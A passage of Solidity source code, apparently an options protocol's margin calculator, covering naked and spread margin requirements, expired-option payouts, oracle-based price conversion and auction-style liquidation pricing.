require(oldMaxPrice != 0, "MarginCalculator: upper bound value not found"); // update upper bound value for the time to expiry maxPriceAtTimeToExpiry[productHash][_timeToExpiry] = _value; emit MaxPriceUpdated(productHash, _timeToExpiry, oldMaxPrice, _value); } /** * @notice set spot shock value, scaled to 1e27 * @dev can only be called by owner * @param _underlying otoken underlying asset * @param _strike otoken strike asset * @param _collateral otoken collateral asset * @param _isPut otoken type * @param _shockValue spot shock value */ function setSpotShock( address _underlying, address _strike, address _collateral, bool _isPut, uint256 _shockValue ) external onlyOwner { require(_shockValue > 0, "MarginCalculator: invalid spot shock value"); bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut); spotShock[productHash] = _shockValue; emit SpotShockUpdated(productHash, _shockValue); } /** * @notice set oracle deviation (1e27) * @dev can only be called by owner * @param _deviation deviation value */ function setOracleDeviation(uint256 _deviation) external onlyOwner { oracleDeviation = _deviation; emit OracleDeviationUpdated(_deviation); } /** * @notice get dust amount for collateral asset * @param _collateral collateral asset address * @return dust amount */ function getCollateralDust(address _collateral) external view returns (uint256) { return dust[_collateral]; } /** * @notice get times to expiry for a specific product * @param _underlying otoken underlying asset * @param _strike otoken strike asset * @param _collateral otoken collateral asset * @param _isPut otoken type * @return array of times to expiry */ function getTimesToExpiry( address _underlying, address _strike, address _collateral, bool _isPut ) external view returns (uint256[] memory) { bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut); return timesToExpiryForProduct[productHash]; } /** * @notice get option upper bound value for specific time to expiry * @param _underlying otoken underlying asset * @param _strike otoken strike asset * @param _collateral otoken collateral asset * @param _isPut otoken type * @param _timeToExpiry option time to expiry timestamp * @return option upper bound value (1e27) */ function getMaxPrice( address _underlying, address _strike, address _collateral, bool _isPut, uint256 _timeToExpiry ) external view returns (uint256) { bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut); return maxPriceAtTimeToExpiry[productHash][_timeToExpiry]; } /** * @notice get spot shock value * @param _underlying otoken underlying asset * @param _strike otoken strike asset * @param _collateral otoken collateral asset * @param _isPut otoken type * @return _shockValue spot shock value (1e27) */ function getSpotShock( address _underlying, address _strike, address _collateral, bool _isPut ) external view returns (uint256) { bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut); return spotShock[productHash]; } /** * @notice get oracle deviation * @return oracle deviation value (1e27) */ function getOracleDeviation() external view returns (uint256) { return oracleDeviation; } /** * @notice return the collateral required for naked margin vault, in collateral asset decimals * @dev _shortAmount, _strikePrice and _underlyingPrice should be scaled by 1e8 * @param _underlying underlying asset address * @param _strike strike asset address * @param _collateral collateral asset address * @param _shortAmount amount of short otoken * @param _strikePrice otoken strike price * @param _underlyingPrice otoken underlying price * @param _shortExpiryTimestamp otoken expiry timestamp * @param _collateralDecimals otoken collateral asset decimals * @param _isPut otoken type * @return collateral required for a naked margin vault, in collateral asset decimals */ function getNakedMarginRequired( address _underlying, address _strike, address _collateral, uint256 _shortAmount, uint256 _strikePrice, uint256 _underlyingPrice, uint256 _shortExpiryTimestamp, uint256 _collateralDecimals, bool _isPut ) external view returns (uint256) { bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut); // scale short amount from 1e8 to 1e27 (oToken is always in 1e8) FPI.FixedPointInt memory shortAmount = FPI.fromScaledUint(_shortAmount, BASE); // scale short strike from 1e8 to 1e27 FPI.FixedPointInt memory shortStrike = FPI.fromScaledUint(_strikePrice, BASE); // scale short underlying price from 1e8 to 1e27 FPI.FixedPointInt memory shortUnderlyingPrice = FPI.fromScaledUint(_underlyingPrice, BASE); // return required margin, scaled by collateral asset decimals, explicitly rounded up return FPI.toScaledUint( _getNakedMarginRequired( productHash, shortAmount, shortUnderlyingPrice, shortStrike, _shortExpiryTimestamp, _isPut ), _collateralDecimals, false ); } /** * @notice return the cash value of an expired oToken, denominated in collateral * @param _otoken oToken address * @return how much collateral can be taken out by 1 otoken unit, scaled by 1e8, * or how much collateral can be taken out for 1 (1e8) oToken */ function getExpiredPayoutRate(address _otoken) external view returns (uint256) { require(_otoken != address(0), "MarginCalculator: Invalid token address"); ( address collateral, address underlying, address strikeAsset, uint256 strikePrice, uint256 expiry, bool isPut ) = _getOtokenDetails(_otoken); require(now >= expiry, "MarginCalculator: Otoken not expired yet"); FPI.FixedPointInt memory cashValueInStrike = _getExpiredCashValue( underlying, strikeAsset, expiry, strikePrice, isPut ); FPI.FixedPointInt memory cashValueInCollateral = _convertAmountOnExpiryPrice( cashValueInStrike, strikeAsset, collateral, expiry ); // the exchangeRate was scaled by 1e8, if 1e8 otoken can take out 1 USDC, the exchangeRate is currently 1e8 // we want to return: how much USDC units can be taken out by 1 (1e8 units) oToken uint256 collateralDecimals = uint256(ERC20Interface(collateral).decimals()); return cashValueInCollateral.toScaledUint(collateralDecimals, true); } // structs to avoid stack too deep error // struct to store shortAmount, shortStrike and shortUnderlyingPrice scaled to 1e27 struct ShortScaledDetails { FPI.FixedPointInt shortAmount; FPI.FixedPointInt shortStrike; FPI.FixedPointInt shortUnderlyingPrice; } /** * @notice check if a specific vault is undercollateralized at a specific chainlink round * @dev if the vault is of type 0, the function will revert * @param _vault vault struct * @param _vaultType vault type (0 for max loss/spread and 1 for naked margin vault) * @param _vaultLatestUpdate vault latest update (timestamp when latest vault state change happened) * @param _roundId chainlink round id * @return isLiquidatable, true if vault is undercollateralized, liquidation price and collateral dust amount */ function isLiquidatable( MarginVault.Vault memory _vault, uint256 _vaultType, uint256 _vaultLatestUpdate, uint256 _roundId ) external view returns ( bool, uint256, uint256 ) { // liquidation is only supported for naked margin vault require(_vaultType == 1, "MarginCalculator: invalid vault type to liquidate"); VaultDetails memory vaultDetails = _getVaultDetails(_vault, _vaultType); // can not liquidate vault that have no short position if (!vaultDetails.hasShort) return (false, 0, 0); require(now < vaultDetails.shortExpiryTimestamp, "MarginCalculator: can not liquidate expired position"); (uint256 price, uint256 timestamp) = oracle.getChainlinkRoundData( vaultDetails.shortUnderlyingAsset, uint80(_roundId) ); // check that price timestamp is after latest timestamp the vault was updated at require( timestamp > _vaultLatestUpdate, "MarginCalculator: auction timestamp should be post vault latest update" ); // another struct to store some useful short otoken details, to avoid stack to deep error ShortScaledDetails memory shortDetails = ShortScaledDetails({ shortAmount: FPI.fromScaledUint(_vault.shortAmounts[0], BASE), shortStrike: FPI.fromScaledUint(vaultDetails.shortStrikePrice, BASE), shortUnderlyingPrice: FPI.fromScaledUint(price, BASE) }); bytes32 productHash = _getProductHash( vaultDetails.shortUnderlyingAsset, vaultDetails.shortStrikeAsset, vaultDetails.shortCollateralAsset, vaultDetails.isShortPut ); // convert vault collateral to a fixed point (1e27) from collateral decimals FPI.FixedPointInt memory depositedCollateral = FPI.fromScaledUint( _vault.collateralAmounts[0], vaultDetails.collateralDecimals ); FPI.FixedPointInt memory collateralRequired = _getNakedMarginRequired( productHash, shortDetails.shortAmount, shortDetails.shortUnderlyingPrice, shortDetails.shortStrike, vaultDetails.shortExpiryTimestamp, vaultDetails.isShortPut ); // if collateral required <= collateral in the vault, the vault is not liquidatable if (collateralRequired.isLessThanOrEqual(depositedCollateral)) { return (false, 0, 0); } FPI.FixedPointInt memory cashValue = _getCashValue( shortDetails.shortStrike, shortDetails.shortUnderlyingPrice, vaultDetails.isShortPut ); // get the amount of collateral per 1 repaid otoken uint256 debtPrice = _getDebtPrice( depositedCollateral, shortDetails.shortAmount, cashValue, shortDetails.shortUnderlyingPrice, timestamp, vaultDetails.collateralDecimals, vaultDetails.isShortPut ); return (true, debtPrice, dust[vaultDetails.shortCollateralAsset]); } /** * @notice calculate required collateral margin for a vault * @param _vault theoretical vault that needs to be checked * @param _vaultType vault type * @return the vault collateral amount, and marginRequired the minimal amount of collateral needed in a vault, scaled to 1e27 */ function getMarginRequired(MarginVault.Vault memory _vault, uint256 _vaultType) external view returns (FPI.FixedPointInt memory, FPI.FixedPointInt memory) { VaultDetails memory vaultDetail = _getVaultDetails(_vault, _vaultType); return _getMarginRequired(_vault, vaultDetail); } /** * @notice returns the amount of collateral that can be removed from an actual or a theoretical vault * @dev return amount is denominated in the collateral asset for the oToken in the vault, or the collateral asset in the vault * @param _vault theoretical vault that needs to be checked * @param _vaultType vault type (0 for spread/max loss, 1 for naked margin) * @return excessCollateral the amount by which the margin is above or below the required amount * @return isExcess True if there is excess margin in the vault, False if there is a deficit of margin in the vault * if True, collateral can be taken out from the vault, if False, additional collateral needs to be added to vault */ function getExcessCollateral(MarginVault.Vault memory _vault, uint256 _vaultType) public view returns (uint256, bool) { VaultDetails memory vaultDetails = _getVaultDetails(_vault, _vaultType); // include all the checks for to ensure the vault is valid _checkIsValidVault(_vault, vaultDetails); // if the vault contains no oTokens, return the amount of collateral if (!vaultDetails.hasShort && !vaultDetails.hasLong) { uint256 amount = vaultDetails.hasCollateral ? _vault.collateralAmounts[0] : 0; return (amount, true); } // get required margin, denominated in collateral, scaled in 1e27 (FPI.FixedPointInt memory collateralAmount, FPI.FixedPointInt memory collateralRequired) = _getMarginRequired( _vault, vaultDetails ); FPI.FixedPointInt memory excessCollateral = collateralAmount.sub(collateralRequired); bool isExcess = excessCollateral.isGreaterThanOrEqual(ZERO); uint256 collateralDecimals = vaultDetails.hasLong ? vaultDetails.longCollateralDecimals : vaultDetails.shortCollateralDecimals; // if is excess, truncate the tailing digits in excessCollateralExternal calculation uint256 excessCollateralExternal = excessCollateral.toScaledUint(collateralDecimals, isExcess); return (excessCollateralExternal, isExcess); } /** * @notice return the cash value of an expired oToken, denominated in strike asset * @dev for a call, return Max (0, underlyingPriceInStrike - otoken.strikePrice) * @dev for a put, return Max(0, otoken.strikePrice - underlyingPriceInStrike) * @param _underlying otoken underlying asset * @param _strike otoken strike asset * @param _expiryTimestamp otoken expiry timestamp * @param _strikePrice otoken strike price * @param _strikePrice true if otoken is put otherwise false * @return cash value of an expired otoken, denominated in the strike asset */ function _getExpiredCashValue( address _underlying, address _strike, uint256 _expiryTimestamp, uint256 _strikePrice, bool _isPut ) internal view returns (FPI.FixedPointInt memory) { // strike price is denominated in strike asset FPI.FixedPointInt memory strikePrice = FPI.fromScaledUint(_strikePrice, BASE); FPI.FixedPointInt memory one = FPI.fromScaledUint(1, 0); // calculate the value of the underlying asset in terms of the strike asset FPI.FixedPointInt memory underlyingPriceInStrike = _convertAmountOnExpiryPrice( one, // underlying price is 1 (1e27) in term of underlying _underlying, _strike, _expiryTimestamp ); return _getCashValue(strikePrice, underlyingPriceInStrike, _isPut); } /// @dev added this struct to avoid stack-too-deep error struct OtokenDetails { address otokenUnderlyingAsset; address otokenCollateralAsset; address otokenStrikeAsset; uint256 otokenExpiry; bool isPut; } /** * @notice calculate the amount of collateral needed for a vault * @dev vault passed in has already passed the checkIsValidVault function * @param _vault theoretical vault that needs to be checked * @return the vault collateral amount, and marginRequired the minimal amount of collateral needed in a vault, * scaled to 1e27 */ function _getMarginRequired(MarginVault.Vault memory _vault, VaultDetails memory _vaultDetails) internal view returns (FPI.FixedPointInt memory, FPI.FixedPointInt memory) { FPI.FixedPointInt memory shortAmount = _vaultDetails.hasShort ? FPI.fromScaledUint(_vault.shortAmounts[0], BASE) : ZERO; FPI.FixedPointInt memory longAmount = _vaultDetails.hasLong ? FPI.fromScaledUint(_vault.longAmounts[0], BASE) : ZERO; FPI.FixedPointInt memory collateralAmount = _vaultDetails.hasCollateral ? FPI.fromScaledUint(_vault.collateralAmounts[0], _vaultDetails.collateralDecimals) : ZERO; FPI.FixedPointInt memory shortStrike = _vaultDetails.hasShort ? FPI.fromScaledUint(_vaultDetails.shortStrikePrice, BASE) : ZERO; // struct to avoid stack too deep error OtokenDetails memory otokenDetails = OtokenDetails( _vaultDetails.hasShort ? _vaultDetails.shortUnderlyingAsset : _vaultDetails.longUnderlyingAsset, _vaultDetails.hasShort ? _vaultDetails.shortCollateralAsset : _vaultDetails.longCollateralAsset, _vaultDetails.hasShort ? _vaultDetails.shortStrikeAsset : _vaultDetails.longStrikeAsset, _vaultDetails.hasShort ? _vaultDetails.shortExpiryTimestamp : _vaultDetails.longExpiryTimestamp, _vaultDetails.hasShort ? _vaultDetails.isShortPut : _vaultDetails.isLongPut ); if (now < otokenDetails.otokenExpiry) { // it's not expired, return amount of margin required based on vault type if (_vaultDetails.vaultType == 1) { // this is a naked margin vault // fetch dust amount for otoken collateral asset as FixedPointInt, assuming dust is already scaled by collateral decimals FPI.FixedPointInt memory dustAmount = FPI.fromScaledUint( dust[_vaultDetails.shortCollateralAsset], _vaultDetails.collateralDecimals ); // check that collateral deposited in naked margin vault is greater than dust amount for that particular collateral asset if (collateralAmount.isGreaterThan(ZERO)) { require( collateralAmount.isGreaterThan(dustAmount), "MarginCalculator: naked margin vault should have collateral amount greater than dust amount" ); } // get underlying asset price for short option FPI.FixedPointInt memory shortUnderlyingPrice = FPI.fromScaledUint( oracle.getPrice(_vaultDetails.shortUnderlyingAsset), BASE ); // encode product hash bytes32 productHash = _getProductHash( _vaultDetails.shortUnderlyingAsset, _vaultDetails.shortStrikeAsset, _vaultDetails.shortCollateralAsset, _vaultDetails.isShortPut ); // return amount of collateral in vault and needed collateral amount for margin return ( collateralAmount, _getNakedMarginRequired( productHash, shortAmount, shortUnderlyingPrice, shortStrike, otokenDetails.otokenExpiry, otokenDetails.isPut ) ); } else { // this is a fully collateralized vault FPI.FixedPointInt memory longStrike = _vaultDetails.hasLong ? FPI.fromScaledUint(_vaultDetails.longStrikePrice, BASE) : ZERO; if (otokenDetails.isPut) { FPI.FixedPointInt memory strikeNeeded = _getPutSpreadMarginRequired( shortAmount, longAmount, shortStrike, longStrike ); // convert amount to be denominated in collateral return ( collateralAmount, _convertAmountOnLivePrice( strikeNeeded, otokenDetails.otokenStrikeAsset, otokenDetails.otokenCollateralAsset ) ); } else { FPI.FixedPointInt memory underlyingNeeded = _getCallSpreadMarginRequired( shortAmount, longAmount, shortStrike, longStrike ); // convert amount to be denominated in collateral return ( collateralAmount, _convertAmountOnLivePrice( underlyingNeeded, otokenDetails.otokenUnderlyingAsset, otokenDetails.otokenCollateralAsset ) ); } } } else { // the vault has expired. calculate the cash value of all the minted short options FPI.FixedPointInt memory shortCashValue = _vaultDetails.hasShort ? _getExpiredCashValue( _vaultDetails.shortUnderlyingAsset, _vaultDetails.shortStrikeAsset, _vaultDetails.shortExpiryTimestamp, _vaultDetails.shortStrikePrice, otokenDetails.isPut ) : ZERO; FPI.FixedPointInt memory longCashValue = _vaultDetails.hasLong ? _getExpiredCashValue( _vaultDetails.longUnderlyingAsset, _vaultDetails.longStrikeAsset, _vaultDetails.longExpiryTimestamp, _vaultDetails.longStrikePrice, otokenDetails.isPut ) : ZERO; FPI.FixedPointInt memory valueInStrike = _getExpiredSpreadCashValue( shortAmount, longAmount, shortCashValue, longCashValue ); // convert amount to be denominated in collateral return ( collateralAmount, _convertAmountOnExpiryPrice( valueInStrike, otokenDetails.otokenStrikeAsset, otokenDetails.otokenCollateralAsset, otokenDetails.otokenExpiry ) ); } } /** * @notice get required collateral for naked margin position * if put: * a = min(strike price, spot shock * underlying price) * b = max(strike price - spot shock * underlying price, 0) * marginRequired = ( option upper bound value * a + b) * short amount * if call: * a = min(1, strike price / (underlying price / spot shock value)) * b = max(1- (strike price / (underlying price / spot shock value)), 0) * marginRequired = (option upper bound value * a + b) * short amount * @param _productHash product hash * @param _shortAmount short amount in vault, in FixedPointInt type * @param _strikePrice strike price of short otoken, in FixedPointInt type * @param _underlyingPrice underlying price of short otoken underlying asset, in FixedPointInt type * @param _shortExpiryTimestamp short otoken expiry timestamp * @param _isPut otoken type, true if put option, false for call option * @return required margin for this naked vault, in FixedPointInt type (scaled by 1e27) */ function _getNakedMarginRequired( bytes32 _productHash, FPI.FixedPointInt memory _shortAmount, FPI.FixedPointInt memory _underlyingPrice, FPI.FixedPointInt memory _strikePrice, uint256 _shortExpiryTimestamp, bool _isPut ) internal view returns (FPI.FixedPointInt memory) { // find option upper bound value FPI.FixedPointInt memory optionUpperBoundValue = _findUpperBoundValue(_productHash, _shortExpiryTimestamp); // convert spot shock value of this product to FixedPointInt (already scaled by 1e27) FPI.FixedPointInt memory spotShockValue = FPI.FixedPointInt(int256(spotShock[_productHash])); FPI.FixedPointInt memory a; FPI.FixedPointInt memory b; FPI.FixedPointInt memory marginRequired; if (_isPut) { a = FPI.min(_strikePrice, spotShockValue.mul(_underlyingPrice)); b = FPI.max(_strikePrice.sub(spotShockValue.mul(_underlyingPrice)), ZERO); marginRequired = optionUpperBoundValue.mul(a).add(b).mul(_shortAmount); } else { FPI.FixedPointInt memory one = FPI.fromScaledUint(1e27, SCALING_FACTOR); a = FPI.min(one, _strikePrice.mul(spotShockValue).div(_underlyingPrice)); b = FPI.max(one.sub(_strikePrice.mul(spotShockValue).div(_underlyingPrice)), ZERO); marginRequired = optionUpperBoundValue.mul(a).add(b).mul(_shortAmount); } return marginRequired; } /** * @notice find upper bound value for product by specific expiry timestamp * @dev should return the upper bound value that correspond to option time to expiry, of if not found should return the next greater one, revert if no value found * @param _productHash product hash * @param _expiryTimestamp expiry timestamp * @return option upper bound value */ function _findUpperBoundValue(bytes32 _productHash, uint256 _expiryTimestamp) internal view returns (FPI.FixedPointInt memory) { // get time to expiry array of this product hash uint256[] memory timesToExpiry = timesToExpiryForProduct[_productHash]; // check that this product have upper bound values stored require(timesToExpiry.length != 0, "MarginCalculator: product have no expiry values"); uint256 optionTimeToExpiry = _expiryTimestamp.sub(now); // check that the option time to expiry is in the expiry array require( timesToExpiry[timesToExpiry.length.sub(1)] >= optionTimeToExpiry, "MarginCalculator: product have no upper bound value" ); // loop through the array and return the upper bound value in FixedPointInt type (already scaled by 1e27) for (uint8 i = 0; i < timesToExpiry.length; i++) { if (timesToExpiry[i] >= optionTimeToExpiry) return FPI.fromScaledUint(maxPriceAtTimeToExpiry[_productHash][timesToExpiry[i]], SCALING_FACTOR); } } /** * @dev returns the strike asset amount of margin required for a put or put spread with the given short oTokens, long oTokens and amounts * * marginRequired = max( (short amount * short strike) - (long strike * min (short amount, long amount)) , 0 ) * * @return margin requirement denominated in the strike asset */ function _getPutSpreadMarginRequired( FPI.FixedPointInt memory _shortAmount, FPI.FixedPointInt memory _longAmount, FPI.FixedPointInt memory _shortStrike, FPI.FixedPointInt memory _longStrike ) internal view returns (FPI.FixedPointInt memory) { return FPI.max(_shortAmount.mul(_shortStrike).sub(_longStrike.mul(FPI.min(_shortAmount, _longAmount))), ZERO); } /** * @dev returns the underlying asset amount required for a call or call spread with the given short oTokens, long oTokens, and amounts * * (long strike - short strike) * short amount * marginRequired = max( ------------------------------------------------- , max (short amount - long amount, 0) ) * long strike * * @dev if long strike = 0, return max( short amount - long amount, 0) * @return margin requirement denominated in the underlying asset */ function _getCallSpreadMarginRequired( FPI.FixedPointInt memory _shortAmount, FPI.FixedPointInt memory _longAmount, FPI.FixedPointInt memory _shortStrike, FPI.FixedPointInt memory _longStrike ) internal view returns (FPI.FixedPointInt memory) { // max (short amount - long amount , 0) if (_longStrike.isEqual(ZERO)) { return FPI.max(_shortAmount.sub(_longAmount), ZERO); } /** * (long strike - short strike) * short amount * calculate ---------------------------------------------- * long strike */ FPI.FixedPointInt memory firstPart = _longStrike.sub(_shortStrike).mul(_shortAmount).div(_longStrike); /** * calculate max ( short amount - long amount , 0) */ FPI.FixedPointInt memory secondPart = FPI.max(_shortAmount.sub(_longAmount), ZERO); return FPI.max(firstPart, secondPart); } /** * @notice convert an amount in asset A to equivalent amount of asset B, based on a live price * @dev function includes the amount and applies .mul() first to increase the accuracy * @param _amount amount in asset A * @param _assetA asset A * @param _assetB asset B * @return _amount in asset B */ function _convertAmountOnLivePrice( FPI.FixedPointInt memory _amount, address _assetA, address _assetB ) internal view returns (FPI.FixedPointInt memory) { if (_assetA == _assetB) { return _amount; } uint256 priceA = oracle.getPrice(_assetA); uint256 priceB = oracle.getPrice(_assetB); // amount A * price A in USD = amount B * price B in USD // amount B = amount A * price A / price B return _amount.mul(FPI.fromScaledUint(priceA, BASE)).div(FPI.fromScaledUint(priceB, BASE)); } /** * @notice convert an amount in asset A to equivalent amount of asset B, based on an expiry price * @dev function includes the amount and apply .mul() first to increase the accuracy * @param _amount amount in asset A * @param _assetA asset A * @param _assetB asset B * @return _amount in asset B */ function _convertAmountOnExpiryPrice( FPI.FixedPointInt memory _amount, address _assetA, address _assetB, uint256 _expiry ) internal view returns (FPI.FixedPointInt memory) { if (_assetA == _assetB) { return _amount; } (uint256 priceA, bool priceAFinalized) = oracle.getExpiryPrice(_assetA, _expiry); (uint256 priceB, bool priceBFinalized) = oracle.getExpiryPrice(_assetB, _expiry); require(priceAFinalized && priceBFinalized, "MarginCalculator: price at expiry not finalized yet"); // amount A * price A in USD = amount B * price B in USD // amount B = amount A * price A / price B return _amount.mul(FPI.fromScaledUint(priceA, BASE)).div(FPI.fromScaledUint(priceB, BASE)); } /** * @notice return debt price, how much collateral asset per 1 otoken repaid in collateral decimal * ending price = vault collateral / vault debt * if auction ended, return ending price * else calculate starting price * for put option: * starting price = max(cash value - underlying price * oracle deviation, 0) * for call option: * max(cash value - underlying price * oracle deviation, 0) * starting price = --------------------------------------------------------------- * underlying price * * * starting price + (ending price - starting price) * auction elapsed time * then price = -------------------------------------------------------------------------- * auction time * * * @param _vaultCollateral vault collateral amount * @param _vaultDebt vault short amount * @param _cashValue option cash value * @param _spotPrice option underlying asset price (in USDC) * @param _auctionStartingTime auction starting timestamp (_spotPrice timestamp from chainlink) * @param _collateralDecimals collateral asset decimals * @param _isPut otoken type, true for put, false for call option * @return price of 1 debt otoken in collateral asset scaled by collateral decimals */ function _getDebtPrice( FPI.FixedPointInt memory _vaultCollateral, FPI.FixedPointInt memory _vaultDebt, FPI.FixedPointInt memory _cashValue, FPI.FixedPointInt memory _spotPrice, uint256 _auctionStartingTime, uint256 _collateralDecimals, bool _isPut ) internal view returns (uint256) { // price of 1 repaid otoken in collateral asset, scaled to 1e27 FPI.FixedPointInt memory price; // auction ending price FPI.FixedPointInt memory endingPrice = _vaultCollateral.div(_vaultDebt); // auction elapsed time uint256 auctionElapsedTime = now.sub(_auctionStartingTime); // if auction ended, return ending price if (auctionElapsedTime >= AUCTION_TIME) { price = endingPrice; } else { // starting price FPI.FixedPointInt memory startingPrice; { // store oracle deviation in a FixedPointInt (already scaled by 1e27) FPI.FixedPointInt memory fixedOracleDeviation = FPI.fromScaledUint(oracleDeviation, SCALING_FACTOR); if (_isPut) { startingPrice = FPI.max(_cashValue.sub(fixedOracleDeviation.mul(_spotPrice)), ZERO); } else { startingPrice = FPI.max(_cashValue.sub(fixedOracleDeviation.mul(_spotPrice)), ZERO).div(_spotPrice); } } // store auctionElapsedTime in a FixedPointInt scaled by 1e27 FPI.FixedPointInt memory auctionElapsedTimeFixedPoint = FPI.fromScaledUint(auctionElapsedTime, 18); // store AUCTION_TIME in a FixedPointInt (already scaled by 1e27) FPI.FixedPointInt memory auctionTime = FPI.fromScaledUint(AUCTION_TIME, 18); // calculate price of 1 repaid otoken, scaled by the collateral decimals, expilictly rounded down price = startingPrice.add( (endingPrice.sub(startingPrice)).mul(auctionElapsedTimeFixedPoint).div(auctionTime) ); // cap liquidation price to ending price if (price.isGreaterThan(endingPrice)) price = endingPrice; } return price.toScaledUint(_collateralDecimals, true); } /** * @notice get vault details to save us from making multiple external calls * @param _vault vault struct * @param _vaultType vault type, 0 for max loss/spreads and 1 for naked margin vault * @return vault details in VaultDetails struct */ function _getVaultDetails(MarginVault.Vault memory _vault, uint256 _vaultType) internal view returns (VaultDetails memory) { VaultDetails memory vaultDetails = VaultDetails( address(0), address(0), address(0), address(0), address(0), address(0), 0, 0, 0, 0, 0, 0, 0, 0, false, false, false, false, false ); // check if vault has long, short otoken and collateral asset vaultDetails.hasLong = _isNotEmpty(_vault.longOtokens); vaultDetails.hasShort = _isNotEmpty(_vault.shortOtokens); vaultDetails.hasCollateral = _isNotEmpty(_vault.collateralAssets); vaultDetails.vaultType = _vaultType; // get vault long otoken if available if (vaultDetails.hasLong) { OtokenInterface long = OtokenInterface(_vault.longOtokens[0]); ( vaultDetails.longCollateralAsset, vaultDetails.longUnderlyingAsset, vaultDetails.longStrikeAsset, vaultDetails.longStrikePrice, vaultDetails.longExpiryTimestamp, vaultDetails.isLongPut ) = _getOtokenDetails(address(long)); vaultDetails.longCollateralDecimals = uint256(ERC20Interface(vaultDetails.longCollateralAsset).decimals()); } // get vault short otoken if available if (vaultDetails.hasShort) { OtokenInterface short = OtokenInterface(_vault.shortOtokens[0]); ( vaultDetails.shortCollateralAsset, vaultDetails.shortUnderlyingAsset, vaultDetails.shortStrikeAsset, vaultDetails.shortStrikePrice, vaultDetails.shortExpiryTimestamp, vaultDetails.isShortPut ) = _getOtokenDetails(address(short)); vaultDetails.shortCollateralDecimals = uint256( ERC20Interface(vaultDetails.shortCollateralAsset).decimals() ); } if (vaultDetails.hasCollateral) { vaultDetails.collateralDecimals = uint256(ERC20Interface(_vault.collateralAssets[0]).decimals()); } return vaultDetails; } /** * @dev calculate the cash value obligation for an expired vault, where a positive number is an obligation * * Formula: net = (short cash value * short amount) - ( long cash value * long Amount ) * * @return cash value obligation denominated in the strike asset */ function _getExpiredSpreadCashValue( FPI.FixedPointInt memory _shortAmount, FPI.FixedPointInt memory _longAmount, FPI.FixedPointInt memory _shortCashValue, FPI.FixedPointInt memory _longCashValue ) internal pure returns (FPI.FixedPointInt memory) { return _shortCashValue.mul(_shortAmount).sub(_longCashValue.mul(_longAmount)); } /** * @dev check if asset array contain a token address * @return True if the array is not empty */ function _isNotEmpty(address[] memory _assets) internal pure returns (bool) { return _assets.length > 0 && _assets[0] != address(0); } /** * @dev ensure that: * a) at most 1 asset type used as collateral * b) at most 1 series of option used as the long option * c) at most 1 series of option used as the short option * d) asset array lengths match for long, short and collateral * e) long option and collateral asset is acceptable for margin with short asset * @param _vault the vault to check * @param _vaultDetails vault details struct */ function _checkIsValidVault(MarginVault.Vault memory _vault, VaultDetails memory _vaultDetails) internal pure { // ensure all the arrays in the vault are valid require(_vault.shortOtokens.length <= 1, "MarginCalculator: Too many short otokens in the vault"); require(_vault.longOtokens.length <= 1, "MarginCalculator: Too many long otokens in the vault"); require(_vault.collateralAssets.length <= 1, "MarginCalculator: Too many collateral assets in the vault"); require( _vault.shortOtokens.length == _vault.shortAmounts.length, "MarginCalculator: Short asset and amount mismatch" ); require( _vault.longOtokens.length == _vault.longAmounts.length, "MarginCalculator: Long asset and amount mismatch" ); require( _vault.collateralAssets.length == _vault.collateralAmounts.length, "MarginCalculator: Collateral asset and amount mismatch" ); // ensure the long asset is valid for the short asset require( _isMarginableLong(_vault, _vaultDetails), "MarginCalculator: long asset not marginable for short asset" ); // ensure that the collateral asset is valid for the short asset require( _isMarginableCollateral(_vault, _vaultDetails), "MarginCalculator: collateral asset not marginable for short asset" ); } /** * @dev if there is a short option and a long option in the vault, ensure that the long option is able to be used as collateral for the short option * @param _vault the vault to check * @param _vaultDetails vault details struct * @return true if long is marginable or false if not */ function _isMarginableLong(MarginVault.Vault memory _vault, VaultDetails memory _vaultDetails) internal pure returns (bool) { if (_vaultDetails.vaultType == 1) require(!_vaultDetails.hasLong, "MarginCalculator: naked margin vault cannot have long otoken"); // if vault is missing a long or a short, return True if (!_vaultDetails.hasLong || !_vaultDetails.hasShort) return true; return _vault.longOtokens[0] != _vault.shortOtokens[0] && _vaultDetails.longUnderlyingAsset == _vaultDetails.shortUnderlyingAsset && _vaultDetails.longStrikeAsset == _vaultDetails.shortStrikeAsset && _vaultDetails.longCollateralAsset == _vaultDetails.shortCollateralAsset && _vaultDetails.longExpiryTimestamp == _vaultDetails.shortExpiryTimestamp && _vaultDetails.isLongPut == _vaultDetails.isShortPut; } /** * @dev if there is short option and collateral asset in the vault, ensure that the collateral asset is valid for the short option * @param _vault the vault to check * @param _vaultDetails vault details struct * @return true if marginable or false */ function _isMarginableCollateral(MarginVault.Vault memory _vault, VaultDetails memory _vaultDetails) internal pure returns (bool) { bool isMarginable = true; if (!_vaultDetails.hasCollateral) return isMarginable; if (_vaultDetails.hasShort) { isMarginable = _vaultDetails.shortCollateralAsset == _vault.collateralAssets[0]; } else if (_vaultDetails.hasLong) { isMarginable = _vaultDetails.longCollateralAsset == _vault.collateralAssets[0]; } return isMarginable; } /** * @notice get a product hash * @param _underlying option underlying asset * @param _strike option strike asset * @param _collateral option collateral asset * @param _isPut option type * @return product hash */ function _getProductHash( address _underlying, address _strike, address _collateral, bool _isPut ) internal pure returns (bytes32) { return keccak256(abi.encode(_underlying, _strike, _collateral, _isPut)); } /** * @notice get option cash value * @dev this assume that the underlying price is denominated in strike asset * cash value = max(underlying price - strike price, 0) * @param _strikePrice option strike price * @param _underlyingPrice option underlying price * @param _isPut option type, true for put and false for call option */ function _getCashValue( FPI.FixedPointInt memory _strikePrice, FPI.FixedPointInt memory _underlyingPrice, bool _isPut ) internal view returns (FPI.FixedPointInt memory) { if (_isPut) return _strikePrice.isGreaterThan(_underlyingPrice) ? _strikePrice.sub(_underlyingPrice) : ZERO; return _underlyingPrice.isGreaterThan(_strikePrice) ? _underlyingPrice.sub(_strikePrice) : ZERO; } /** * @dev get otoken detail, from both otoken versions */ function _getOtokenDetails(address _otoken) internal view returns ( address, address, address, uint256, uint256, bool ) { OtokenInterface otoken = OtokenInterface(_otoken); try otoken.getOtokenDetails() returns ( address collateral, address underlying, address strike, uint256 strikePrice, uint256 expiry, bool isPut ) { return (collateral, underlying, strike, strikePrice, expiry, isPut); } catch { // v1 otoken return ( otoken.collateralAsset(), otoken.underlyingAsset(), otoken.strikeAsset(), otoken.strikePrice(), otoken.expiryTimestamp(), otoken.isPut() ); } } }
